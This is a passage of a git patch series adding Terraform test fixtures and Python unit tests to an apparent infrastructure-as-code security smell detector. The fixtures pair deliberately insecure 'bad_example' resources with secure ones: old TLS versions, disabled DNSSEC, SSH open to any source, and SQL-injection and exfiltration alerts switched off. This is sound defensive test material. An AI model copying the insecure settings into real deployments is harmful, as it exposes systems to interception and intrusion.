+ +resource "aws_cloudfront_distribution" "good_example" { + viewer_certificate { + minimum_protocol_version = "TLSv1.2_2021" + } + + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + web_acl_id = "something" + logging_config { + bucket = "some_bucket" + } +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-enable.ssl-eforcement.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-enable.ssl-eforcement.tf new file mode 100644 index 00000000..d2d51b0d --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-enable.ssl-eforcement.tf @@ -0,0 +1,16 @@ +resource "azurerm_postgresql_server" "bad_example" { + public_network_access_enabled = false + ssl_minimal_tls_version_enforced = "TLS1_2" +} + +resource "azurerm_postgresql_server" "good_example2" { + public_network_access_enabled = false + ssl_enforcement_enabled = false + ssl_minimal_tls_version_enforced = "TLS1_2" +} + +resource "azurerm_postgresql_server" "good_example" { + public_network_access_enabled = false + ssl_enforcement_enabled = true + ssl_minimal_tls_version_enforced = "TLS1_2" +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-secure-tls-policy.tf new file mode 100644 index 00000000..b3ab6e26 --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-secure-tls-policy.tf @@ -0,0 +1,29 @@ +resource "azurerm_mssql_server" "bad_example" { + minimum_tls_version = "1.1" + public_network_access_enabled = false +} + +resource "azurerm_mssql_server_extended_auditing_policy" "bad_example" { + server_id = azurerm_mssql_server.bad_example.id +} + +resource "azurerm_mssql_server" "good_example" { + minimum_tls_version = "1.2" + public_network_access_enabled = false +} + +resource "azurerm_mssql_server_extended_auditing_policy" "good_example" { + server_id = azurerm_mssql_server.good_example.id +} + +resource "azurerm_postgresql_server" "bad_example" { + public_network_access_enabled = false + ssl_enforcement_enabled = true + ssl_minimal_tls_version_enforced = "TLS1_1" +} + +resource "azurerm_postgresql_server" "good_example" { + public_network_access_enabled = false + ssl_enforcement_enabled = true + ssl_minimal_tls_version_enforced = "TLS1_2" +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elastic-search-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elastic-search-secure-tls-policy.tf new file mode 100644 index 00000000..5af7fbd7 --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elastic-search-secure-tls-policy.tf @@ -0,0 +1,49 @@ +resource "aws_elasticsearch_domain" "bad_example" { + domain_endpoint_options { + enforce_https = true + } + + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} + +resource "aws_elasticsearch_domain" "bad_example2" { + domain_endpoint_options { + enforce_https = true + tls_security_policy = "Policy-Min-TLS-1-0-2019-07" + } + + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} + +resource "aws_elasticsearch_domain" "good_example" { + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elb-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elb-secure-tls-policy.tf new file mode 100644 index 00000000..afcbf629 --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elb-secure-tls-policy.tf @@ -0,0 +1,13 @@ +resource "aws_alb_listener" "bad_example" { + protocol = "HTTPS" +} + +resource "aws_alb_listener" "bad_example" { + ssl_policy = "ELBSecurityPolicy-TLS-1-1-2017-01" + protocol = "HTTPS" +} + +resource "aws_alb_listener" "good_example" { + ssl_policy = "ELBSecurityPolicy-TLS-1-2-2017-01" + protocol = "HTTPS" +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/google-compute-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/google-compute-secure-tls-policy.tf new file mode 100644 index 00000000..6a533e11 --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/google-compute-secure-tls-policy.tf @@ -0,0 +1,10 @@ +resource "google_compute_ssl_policy" "bad_example" { +} + +resource "google_compute_ssl_policy" "bad_example2" { + min_tls_version = "TLS_1_1" +} + +resource "google_compute_ssl_policy" "good_example" { + min_tls_version = "TLS_1_2" +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/sql-encrypt-in-transit-data.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/sql-encrypt-in-transit-data.tf new file mode 100644 index 00000000..b194e93b --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/sql-encrypt-in-transit-data.tf @@ -0,0 +1,128 @@ +resource "google_sql_database_instance" "bad_example" { + settings { + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} + +resource "google_sql_database_instance" "bad_example2" { + settings { + ip_configuration { + require_ssl = false + } + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} + +resource "google_sql_database_instance" "good_example" { + settings { + ip_configuration { + require_ssl = true + } + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index f84f33e7..f8b68525 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -468,6 +468,51 @@ def test_terraform_use_of_http_without_tls(self): 2, ["sec_https", "sec_https"], [1, 6] ) + def test_terraform_ssl_tls_mtls_policy(self): + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/api-gateway-secure-tls-policy.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-require-client-cert.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 9] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-secure-tls-policy.tf", + 1, ["sec_ssl_tls_policy"], [3] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/azure-storage-use-secure-tls-policy.tf", + 1, ["sec_ssl_tls_policy"], [2] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/cloudfront-secure-tls-policy.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 13] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/database-enable.ssl-eforcement.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 8] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/database-secure-tls-policy.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [2, 22] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/elastic-search-secure-tls-policy.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 20] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/elb-secure-tls-policy.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 6] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/google-compute-secure-tls-policy.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/ssl-tls-mtls-policy/sql-encrypt-in-transit-data.tf", + 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 45] + ) if __name__ == '__main__': unittest.main() \ No newline at end of file From cc611164375713b7a6f7129d385f3f2330c947f8 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 31 Mar 2023 11:03:20 +0100 Subject: [PATCH 25/58] Tests for Terraform: Use of DNS without DNSSEC code smell --- .../cloud-dns-without-dnssec.tf | 14 ++++++++++++++ glitch/tests/security/terraform/test_security.py | 6 ++++++ 2 files changed, 20 insertions(+) create mode 100644 glitch/tests/security/terraform/files/use-of-dns-without-dnssec/cloud-dns-without-dnssec.tf diff --git a/glitch/tests/security/terraform/files/use-of-dns-without-dnssec/cloud-dns-without-dnssec.tf b/glitch/tests/security/terraform/files/use-of-dns-without-dnssec/cloud-dns-without-dnssec.tf new file mode 100644 index 00000000..fb202d6b --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-dns-without-dnssec/cloud-dns-without-dnssec.tf @@ -0,0 +1,14 @@ +resource "google_dns_managed_zone" "bad_example" { +} + +resource "google_dns_managed_zone" "bad_example2" { + dnssec_config { + state = "off" + } +} + +resource "google_dns_managed_zone" "good_example" { + dnssec_config { + state = "on" + } +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index f8b68525..eebf1e26 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -514,5 +514,11 @@ def test_terraform_ssl_tls_mtls_policy(self): 2, ["sec_ssl_tls_policy", "sec_ssl_tls_policy"], [1, 45] ) + def test_terraform_use_of_dns_without_dnssec(self): + self.__help_test( + "tests/security/terraform/files/use-of-dns-without-dnssec/cloud-dns-without-dnssec.tf", + 2, ["sec_dnssec", "sec_dnssec"], [1, 6] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From 8e5e8d1b90910327be0e1d42ec9c8b71c2da4d93 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 31 Mar 2023 11:22:27 +0100 Subject: [PATCH 26/58] Tests for Terraform: Firewall Misconfiguration code smell --- .../alb-drop-invalid-headers.tf | 13 +++++++ .../alb-exposed-to-internet.tf | 13 +++++++ .../azure-keyvault-specify-network-acl.tf | 27 +++++++++++++ .../cloudfront-use-waf.tf | 39 +++++++++++++++++++ .../config-master-authorized-networks.tf | 27 +++++++++++++ .../google-compute-inbound-rule-traffic.tf | 14 +++++++ .../google-compute-no-ip-forward.tf | 38 ++++++++++++++++++ .../google-compute-outbound-rule-traffic.tf | 16 ++++++++ .../openstack-compute-no-public-access.tf | 29 ++++++++++++++ .../tests/security/terraform/test_security.py | 39 +++++++++++++++++++ 10 files changed, 255 insertions(+) create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/alb-drop-invalid-headers.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/azure-keyvault-specify-network-acl.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/cloudfront-use-waf.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-inbound-rule-traffic.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-no-ip-forward.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-outbound-rule-traffic.tf create mode 100644 glitch/tests/security/terraform/files/firewall-misconfiguration/openstack-compute-no-public-access.tf diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-drop-invalid-headers.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-drop-invalid-headers.tf new file mode 100644 index 00000000..7495464d --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-drop-invalid-headers.tf @@ -0,0 +1,13 @@ +resource "aws_alb" "bad_example" { + internal = true +} + +resource "aws_alb" "bad_example2" { + internal = true + drop_invalid_header_fields = false +} + +resource "aws_alb" "good_example" { + internal = true + drop_invalid_header_fields = true +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf new file mode 100644 index 00000000..e91fdcac --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf @@ -0,0 +1,13 @@ +resource "aws_alb" "bad_example" { + drop_invalid_header_fields = true +} + +resource "aws_alb" "bad_example2" { + drop_invalid_header_fields = true + internal = false +} + +resource "aws_lb" "good_example" { + drop_invalid_header_fields = true + internal = true +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/azure-keyvault-specify-network-acl.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/azure-keyvault-specify-network-acl.tf new file mode 100644 index 00000000..6e7da0c7 --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/azure-keyvault-specify-network-acl.tf @@ -0,0 +1,27 @@ +resource "azurerm_key_vault" "bad_example" { + enabled_for_disk_encryption = true + soft_delete_retention_days = 7 + purge_protection_enabled = true +} + +resource "azurerm_key_vault" "bad_example2" { + enabled_for_disk_encryption = true + soft_delete_retention_days = 7 + purge_protection_enabled = true + + network_acls { + default_action = "Allow" + bypass = "AzureServices" + } +} + +resource "azurerm_key_vault" "good_example" { + enabled_for_disk_encryption = true + soft_delete_retention_days = 7 + purge_protection_enabled = true + + network_acls { + default_action = "Deny" + bypass = "AzureServices" + } +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/cloudfront-use-waf.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/cloudfront-use-waf.tf new file mode 100644 index 00000000..fb58e753 --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/cloudfront-use-waf.tf @@ -0,0 +1,39 @@ +resource "aws_cloudfront_distribution" "bad_example" { + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } + logging_config { + bucket = "some_bucket" + } +} + +resource "aws_cloudfront_distribution" "bad_example2" { + web_acl_id = "" + + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } + logging_config { + bucket = "some_bucket" + } +} + +resource "aws_cloudfront_distribution" "good_example" { + web_acl_id = "waf_id" + + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } + logging_config { + bucket = "some_bucket" + } +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf new file mode 100644 index 00000000..5c0ef51e --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf @@ -0,0 +1,27 @@ +resource "google_container_cluster" "bad_example" { + private_cluster_config { + enable_private_nodes = true + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example" { + master_authorized_networks_config { + cidr_blocks { + cidr_block = "0.1.0.0/24" + } + } + + private_cluster_config { + enable_private_nodes = true + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-inbound-rule-traffic.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-inbound-rule-traffic.tf new file mode 100644 index 00000000..85a7ea06 --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-inbound-rule-traffic.tf @@ -0,0 +1,14 @@ +resource "google_compute_firewall" "bad_example" { + allow { + protocol = "icmp" + } + destination_ranges = ["1.2.3.4/32"] +} + +resource "google_compute_firewall" "good_example" { + allow { + protocol = "icmp" + } + source_ranges = ["1.2.3.4/32"] + destination_ranges = ["1.2.3.4/32"] +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-no-ip-forward.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-no-ip-forward.tf new file mode 100644 index 00000000..6cffecd7 --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-no-ip-forward.tf @@ -0,0 +1,38 @@ +resource "google_compute_instance" "bad_example" { + can_ip_forward = true + + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} + +resource "google_compute_instance" "good_example" { + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} + +resource "google_compute_instance" "good_example2" { + can_ip_forward = false + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-outbound-rule-traffic.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-outbound-rule-traffic.tf new file mode 100644 index 00000000..7fd874da --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/google-compute-outbound-rule-traffic.tf @@ -0,0 +1,16 @@ +resource "google_compute_firewall" "bad_example" { + direction = "EGRESS" + allow { + protocol = "icmp" + } + source_ranges = ["1.2.3.4/32"] +} + +resource "google_compute_firewall" "good_example" { + direction = "EGRESS" + allow { + protocol = "icmp" + } + source_ranges = ["1.2.3.4/32"] + destination_ranges = ["1.2.3.4/32"] +} diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/openstack-compute-no-public-access.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/openstack-compute-no-public-access.tf new file mode 100644 index 00000000..4b2d959d --- /dev/null +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/openstack-compute-no-public-access.tf @@ -0,0 +1,29 @@ +resource "openstack_fw_rule_v1" "bad_example" { + name = "my_rule" + description = "let anyone in" + action = "allow" + protocol = "tcp" + destination_port = "22" + enabled = "true" +} + +resource "openstack_fw_rule_v1" "bad_example2" { + name = "my_rule" + description = "don't let just anyone in" + action = "allow" + protocol = "tcp" + destination_ip_address = "10.10.10.1" + destination_port = "22" + enabled = "true" +} + +resource "openstack_fw_rule_v1" "good_example" { + name = "my_rule" + description = "don't let just anyone in" + action = "allow" + protocol = "tcp" + destination_ip_address = "10.10.10.1" + source_ip_address = "10.10.10.2" + destination_port = "22" + enabled = "true" +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index eebf1e26..d2e44b3c 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -520,5 +520,44 @@ def test_terraform_use_of_dns_without_dnssec(self): 2, ["sec_dnssec", "sec_dnssec"], [1, 6] ) + def test_terraform_firewall_misconfiguration(self): + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/alb-drop-invalid-headers.tf", + 2, ["sec_firewall_misconfig", "sec_firewall_misconfig"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/alb-exposed-to-internet.tf", + 2, ["sec_firewall_misconfig", "sec_firewall_misconfig"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/azure-keyvault-specify-network-acl.tf", + 3, ["sec_firewall_misconfig", "sec_firewall_misconfig", "sec_firewall_misconfig"], [1, 1, 13] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/cloudfront-use-waf.tf", + 2, ["sec_firewall_misconfig", "sec_firewall_misconfig"], [1, 14] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf", + 1, ["sec_firewall_misconfig"], [1] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/google-compute-inbound-rule-traffic.tf", + 1, ["sec_firewall_misconfig"], [1] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/google-compute-no-ip-forward.tf", + 1, ["sec_firewall_misconfig"], [2] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/google-compute-outbound-rule-traffic.tf", + 1, ["sec_firewall_misconfig"], [1] + ) + self.__help_test( + "tests/security/terraform/files/firewall-misconfiguration/openstack-compute-no-public-access.tf", + 3, ["sec_firewall_misconfig", "sec_firewall_misconfig", "sec_firewall_misconfig"], [1, 1, 10] + ) + + if __name__ == '__main__': unittest.main() \ No newline at end of file From fef0fcde0c961d602a8553268f4caa41ddee30a0 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 31 Mar 2023 11:35:26 +0100 Subject: [PATCH 27/58] Tests for Terraform: Missing Threats Detection/Alerts code smell --- .../azure-database-disabled-alerts.tf | 21 +++++++++++ .../azure-database-email-admin.tf | 18 +++++++++ .../azure-database-email-for-alerts.tf | 13 +++++++ ...ure-security-center-alert-notifications.tf | 15 ++++++++ .../azure-security-require-contact-phone.tf | 22 +++++++++++ .../github-repo-vulnerability-alerts.tf | 37 +++++++++++++++++++ .../tests/security/terraform/test_security.py | 25 +++++++++++++ 7 files changed, 151 insertions(+) create mode 100644 glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-disabled-alerts.tf create mode 100644 glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-admin.tf create mode 100644 glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-for-alerts.tf create mode 100644 glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-center-alert-notifications.tf create mode 100644 glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-require-contact-phone.tf create mode 100644 glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/github-repo-vulnerability-alerts.tf diff --git a/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-disabled-alerts.tf b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-disabled-alerts.tf new file mode 100644 index 00000000..fc39561b --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-disabled-alerts.tf @@ -0,0 +1,21 @@ +resource "azurerm_mssql_server_security_alert_policy" "bad_example" { + disabled_alerts = ["Sql_Injection", "Data_Exfiltration"] + + retention_days = 20 + email_addresses = ["db-security@acme.org"] + email_account_admins = true +} + +resource "azurerm_mssql_server_security_alert_policy" "good_example" { + disabled_alerts = [] + + retention_days = 20 + email_addresses = ["db-security@acme.org"] + email_account_admins = true +} + +resource "azurerm_mssql_server_security_alert_policy" "good_example2" { + retention_days = 20 + email_addresses = ["db-security@acme.org"] + email_account_admins = true +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-admin.tf b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-admin.tf new file mode 100644 index 00000000..bb544b80 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-admin.tf @@ -0,0 +1,18 @@ +resource "azurerm_mssql_server_security_alert_policy" "bad_example" { + retention_days = 20 + email_addresses = ["db-security@acme.org"] +} + +resource "azurerm_mssql_server_security_alert_policy" "bad_example2" { + email_account_admins = false + + retention_days = 20 + email_addresses = ["db-security@acme.org"] +} + +resource "azurerm_mssql_server_security_alert_policy" "good_example" { + email_account_admins = true + + retention_days = 20 + email_addresses = ["db-security@acme.org"] +} diff --git a/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-for-alerts.tf b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-for-alerts.tf new file mode 100644 index 00000000..6baeff56 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-for-alerts.tf @@ -0,0 +1,13 @@ +resource "azurerm_mssql_server_security_alert_policy" "bad_example" { + email_addresses = [] + + email_account_admins = true + retention_days = 20 +} + +resource "azurerm_mssql_server_security_alert_policy" "good_example" { + email_addresses = ["db-security@acme.org"] + + email_account_admins = true + retention_days = 20 +} diff --git a/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-center-alert-notifications.tf b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-center-alert-notifications.tf new file mode 100644 index 00000000..254ade7f --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-center-alert-notifications.tf @@ -0,0 +1,15 @@ +resource "azurerm_security_center_contact" "bad_example" { + email = "bad_example@example.com" + phone = "+1-555-555-5555" + + alert_notifications = false + alerts_to_admins = false +} + +resource "azurerm_security_center_contact" "good_example" { + email = "good_example@example.com" + phone = "+1-555-555-5555" + + alert_notifications = true + alerts_to_admins = true +} diff --git a/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-require-contact-phone.tf b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-require-contact-phone.tf new file mode 100644 index 00000000..5d00fb25 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-require-contact-phone.tf @@ -0,0 +1,22 @@ +resource "azurerm_security_center_contact" "bad_example" { + email = "bad_contact@example.com" + + alert_notifications = true + alerts_to_admins = true +} + +resource "azurerm_security_center_contact" "bad_example2" { + email = "bad_contact@example.com" + phone = "" + + alert_notifications = true + alerts_to_admins = true +} + +resource "azurerm_security_center_contact" "good_example" { + email = "good_contact@example.com" + phone = "+1-555-555-5555" + + alert_notifications = true + alerts_to_admins = true +} diff --git a/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/github-repo-vulnerability-alerts.tf b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/github-repo-vulnerability-alerts.tf new file mode 100644 index 00000000..49c7c76c --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/github-repo-vulnerability-alerts.tf @@ -0,0 +1,37 @@ +resource "github_repository" "bad_example" { + name = "example" + description = "My awesome codebase" + + template { + owner = "github" + repository = "terraform-module-template" + } + private = true +} + +resource "github_repository" "bad_example2" { + name = "example" + description = "My awesome codebase" + + vulnerability_alerts = false + + template { + owner = "github" + repository = "terraform-module-template" + } + private = true +} + +resource "github_repository" "good_example" { + name = "example" + description = "My awesome codebase" + + vulnerability_alerts = true + + template { + owner = "github" + repository = "terraform-module-template" + } + private = true +} + diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index d2e44b3c..252df319 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -558,6 +558,31 @@ def test_terraform_firewall_misconfiguration(self): 3, ["sec_firewall_misconfig", "sec_firewall_misconfig", "sec_firewall_misconfig"], [1, 1, 10] ) + def test_terraform_missing_threats_detection_and_alerts(self): + self.__help_test( + "tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-disabled-alerts.tf", + 1, ["sec_threats_detection_alerts"], [2] + ) + self.__help_test( + "tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-admin.tf", + 2, ["sec_threats_detection_alerts", "sec_threats_detection_alerts"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/missing-threats-detection-and-alerts/azure-database-email-for-alerts.tf", + 1, ["sec_threats_detection_alerts"], [1] + ) + self.__help_test( + "tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-center-alert-notifications.tf", + 2, ["sec_threats_detection_alerts", "sec_threats_detection_alerts"], [5, 6] + ) + self.__help_test( + "tests/security/terraform/files/missing-threats-detection-and-alerts/azure-security-require-contact-phone.tf", + 2, ["sec_threats_detection_alerts", "sec_threats_detection_alerts"], [1, 10] + ) + self.__help_test( + "tests/security/terraform/files/missing-threats-detection-and-alerts/github-repo-vulnerability-alerts.tf", + 2, ["sec_threats_detection_alerts", "sec_threats_detection_alerts"], [1, 16] + ) if __name__ == '__main__': unittest.main() \ No newline at end of file From 872aa1c8ebf17d25f7cabafe9a3dd1a76df7bd3f Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 31 Mar 2023 12:04:29 +0100 Subject: [PATCH 28/58] Tests for Terraform: Weak Password/Key Policy code smell --- .../aws-iam-no-password-reuse.tf | 30 ++++++++++++++ .../aws-iam-require-lowercase-in-passwords.tf | 30 ++++++++++++++ .../aws-iam-require-numbers-in-passwords.tf | 30 ++++++++++++++ .../aws-iam-require-symbols-in-passwords.tf | 30 ++++++++++++++ .../aws-iam-require-uppercase-in-passwords.tf | 30 ++++++++++++++ .../aws-iam-set-max-password-age.tf | 40 ++++++++++++++++++ .../aws-iam-set-minimum-password-length.tf | 41 +++++++++++++++++++ .../azure-keyvault-ensure-secret-expiry.tf | 19 